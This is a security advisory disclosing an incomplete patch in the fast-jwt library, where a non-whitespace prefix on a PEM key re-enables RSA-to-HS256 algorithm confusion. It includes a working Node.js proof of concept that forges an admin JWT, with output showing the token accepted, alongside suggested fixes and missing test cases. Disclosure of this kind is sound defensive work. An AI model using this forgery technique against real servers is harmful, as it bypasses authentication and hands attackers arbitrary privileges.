GHSA-ww5h-9m49-7xx4

Summary

The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^-----BEGIN(?: (RSA))? PUBLIC KEY-----/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to the HMAC verification path, using the RSA public key as the HMAC shared secret. Net result: the exact same RSA→HS256 algorithm-confusion attack the original CVE addressed is fully re-enabled with a slightly different leading byte.

Attack prerequisites are identical to CVE-2026-34950: attacker knows the target's public RSA key (which is public by definition), and the target loads that key from a source whose content may have a non-whitespace prefix (DB column with corrupted encoding, YAML config with inline comment, copy-paste from formatted document, etc.).

Verified on fast-jwt@6.2.2 (latest as of 2026-04-23) with a 10-line PoC.

Details

Post-patch code (src/crypto.js, lines ~74-171 in performDetectPublicKeyAlgorithms):

function performDetectPublicKeyAlgorithms(key) {
    const trimmedKey = key.trim()  // <-- CVE-2026-34950 patch added this
    if (publicKeyPemMatcher.test(trimmedKey)) {
        // treat as RSA/EC public key
        ...
    }
    // fall-through: treat as HMAC secret  <-- bug: reachable via non-whitespace prefix
    ...
}
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/

The bug: String.prototype.trim() only strips whitespace (U+0009-U+000D, U+0020, U+00A0, U+1680, U+2000-U+200A, U+2028-U+2029, U+202F, U+205F, U+3000, U+FEFF). Non-whitespace leading bytes keep the PEM header off position 0, the ^-anchored regex fails, and execution falls through to the HMAC path with key being used as the shared secret. The attacker controls the token signature (signed with the same public key) and the verifier accepts.

Identical root cause as CVE-2026-34950 — the fix was textually narrow (whitespace only) rather than addressing the class (any surrounding content).

PoC

'use strict';
const { createHmac, generateKeyPairSync } = require('node:crypto');
const { createVerifier } = require('fast-jwt');

const { publicKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const pem = publicKey.export({ type: 'pkcs1', format: 'pem' }).toString();

// Attacker-controlled "key" content as loaded by the verifier
// (models a realistic deployment: key with a leading metadata comment)
const key = '# some comment\n' + pem;

const header = Buffer.from(JSON.stringify({ alg: 'HS256', typ: 'JWT' })).toString('base64url');
const payload = Buffer.from(JSON.stringify({ admin: true, sub: 'attacker' })).toString('base64url');
const sig = createHmac('sha256', key).update(header + '.' + payload).digest('base64url');
const forgedToken = header + '.' + payload + '.' + sig;

const verifier = createVerifier({ key });
console.log('Forged token payload:', verifier(forgedToken));
console.log('Package version:', require('fast-jwt/package.json').version);

Observed output (2026-04-23, fresh npm install):

Forged token payload: { admin: true, sub: 'attacker' }
Package version: 6.2.2

Full bypass matrix (all verified accepting a forged admin token)

Defense matrix (which caller configs are vulnerable)

Impact

1. Authentication bypass — attacker forges arbitrary JWT claims (admin, tenant-id, user-id) accepted by any server using fast-jwt 6.2.x without an algorithms allowlist AND loading its verification key from a source that may contain non-whitespace prefix bytes.
2. Severity-parity with CVE-2026-34950 — attack chain, prerequisites, exploitation ease, and impact are identical; only the trigger byte differs. The fix addressed one trigger (whitespace) rather than the class (any surrounding content before -----BEGIN).
3. Broad fast-jwt deployment — default JWT backend of @fastify/jwt; used by many Fastify-based Node.js APIs.

Suggested fix

Option A (minimal) — locate the PEM block rather than anchoring on position 0:

const pemStart = trimmedKey.indexOf('-----BEGIN')
if (pemStart !== -1 && publicKeyPemMatcher.test(trimmedKey.slice(pemStart))) { ... }

Option B (strict, recommended) — require the key to be exactly a PEM block:

const pemMatch = /-----BEGIN (RSA )?PUBLIC KEY-----[\s\S]+?-----END \1?PUBLIC KEY-----/.exec(trimmedKey)
if (pemMatch && pemMatch[0].trim() === trimmedKey.trim()) { /* valid PEM, no surrounding content */ }

Option C (defense-in-depth, regardless of A/B) — on the HMAC fallback path, reject any key that contains PEM markers:

if (rawKey.includes('-----BEGIN') || rawKey.includes('-----END')) {
    throw new Error('Key appears to be a PEM-encoded asymmetric key but did not match expected format; refusing HMAC fallback')
}

Test coverage gap

test/crypto.spec.js post-CVE-2026-34950 only tests whitespace padding (['\n', ' ', ' \n', '\n ', '\t\t']). Add coverage for:

• Control bytes (U+0000-U+001F, U+007F)
• Zero-width Unicode (U+200B, U+200C, U+200D, U+180E)
• Comment prefixes (#, //, ;, --)
• Mixed-content wrappers (PGP blocks, HTTP headers)
• Arbitrary binary prefix bytes

Credit

Reporter: DC INFOSEC / n0l3x — source-code review + end-to-end PoC verification.